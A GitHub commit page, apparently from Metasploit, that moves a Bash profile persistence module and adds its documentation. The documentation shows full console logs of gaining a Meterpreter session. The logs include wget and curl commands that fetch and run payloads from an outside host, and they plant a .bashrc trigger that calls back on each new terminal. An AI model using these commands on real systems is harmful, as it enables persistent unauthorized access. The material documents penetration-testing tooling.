Skip to content

Commit fa9d58b

Browse files
committed
update bash_profile to persistence mixin
1 parent 0e64aef commit fa9d58b

File tree

4 files changed

+242
-172
lines changed

4 files changed

+242
-172
lines changed

documentation/modules/exploit/linux/local/bash_profile_persistence.md

Lines changed: 0 additions & 50 deletions
This file was deleted.
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
## Vulnerable Application
2+
3+
This module writes an execution trigger to the target's Bash profile.
4+
The execution trigger executes a call back payload whenever the target
5+
user opens a Bash terminal.
6+
7+
Verified on Ubuntu 22.04 and 18.04 desktop with Gnome
8+
9+
## Verification Steps
10+
11+
1. Start `msfconsole`
12+
2. Get a Meterpreter session
13+
3. `use exploit/linux/local/bash_profile_persistence`
14+
4. `set SESSION [SESSION]`
15+
5. `run`
16+
6. On victim, open a new Bash terminal
17+
7. You should get a new session with the permissions of the exploited user account
18+
19+
## Options
20+
21+
### BASH_PROFILE
22+
23+
The path to the target Bash profile. Defaults to `.bashrc`
24+
25+
### PAYLOAD_NAME
26+
27+
Name of the payload file. Defaults to random
28+
29+
## Scenarios
30+
31+
### Ubuntu 18.04.3
32+
33+
Initial access vector via web delivery
34+
35+
```
36+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
37+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
38+
verbose => true
39+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
40+
lhost => 111.111.1.111
41+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
42+
[*] Using configured payload python/meterpreter/reverse_tcp
43+
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
44+
srvport => 8181
45+
resource (/root/.msf4/msfconsole.rc)> set target 7
46+
target => 7
47+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
48+
payload => linux/x64/meterpreter/reverse_tcp
49+
resource (/root/.msf4/msfconsole.rc)> set lport 4545
50+
lport => 4545
51+
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
52+
URIPATH => l
53+
resource (/root/.msf4/msfconsole.rc)> run
54+
[*] Exploit running as background job 0.
55+
[*] Exploit completed, but no session was created.
56+
[*] Starting persistent handler(s)...
57+
[*] Started reverse TCP handler on 111.111.1.111:4545
58+
[*] Using URL: http://111.111.1.111:8181/l
59+
[*] Server started.
60+
[*] Run the following command on the target machine:
61+
wget -qO O2XZweCh --no-check-certificate http://111.111.1.111:8181/l; chmod +x O2XZweCh; ./O2XZweCh& disown
62+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
63+
[*] Transmitting intermediate stager...(126 bytes)
64+
[*] Sending stage (3045380 bytes) to 222.222.2.222
65+
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:44878) at 2025-02-06 21:11:39 -0500
66+
```
67+
68+
Persistence
69+
70+
```
71+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/bash_profile
72+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
73+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/bash_profile) > set session 1
74+
session => 1
75+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/bash_profile) > exploit
76+
[*] Command to run on remote host: curl -so ./QfTygMjF http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./QfTygMjF;./QfTygMjF&
77+
[*] Exploit running as background job 1.
78+
[*] Exploit completed, but no session was created.
79+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/bash_profile) >
80+
[*] Fetch handler listening on 111.111.1.111:8080
81+
[*] HTTP server started
82+
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
83+
[*] Started reverse TCP handler on 111.111.1.111:4444
84+
[*] Running automatic check ("set AutoCheck false" to disable)
85+
[+] Bash profile exists: /home/ubuntu/.bashrc
86+
[+] Bash profile is writable: /home/ubuntu/.bashrc
87+
[!] The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
88+
[*] Created backup Bash profile: /root/.msf4/loot/20250206211215_default_222.222.2.222_desktop..bashrc_080965.txt
89+
[*] Writing '/tmp/BfkldKp4' (100 bytes) ...
90+
[*] Created Bash profile persistence
91+
[+] Payload will be triggered when target opens a Bash terminal
92+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.1216/ubuntu18desktop.local_20250206.1216.rc
93+
```
94+
On the remote host open `/bin/bash`
95+
96+
```
97+
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
98+
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
99+
[*] Transmitting intermediate stager...(126 bytes)
100+
[*] Sending stage (3045380 bytes) to 222.222.2.222
101+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:40990) at 2025-02-06 21:12:21 -0500
102+
[msf](Jobs:2 Agents:2) exploit(linux/persistence/bash_profile) > sessions -i 2
103+
[*] Starting interaction with 2...
104+
(Meterpreter 2)(/tmp) > sysinfo
105+
Computer : ubuntu18desktop.local
106+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
107+
Architecture : x64
108+
BuildTuple : x86_64-linux-musl
109+
Meterpreter : x64/linux
110+
(Meterpreter 2)(/tmp) >
111+
```

modules/exploits/linux/local/bash_profile_persistence.rb

Lines changed: 0 additions & 122 deletions
This file was deleted.

0 commit comments

Comments
 (0)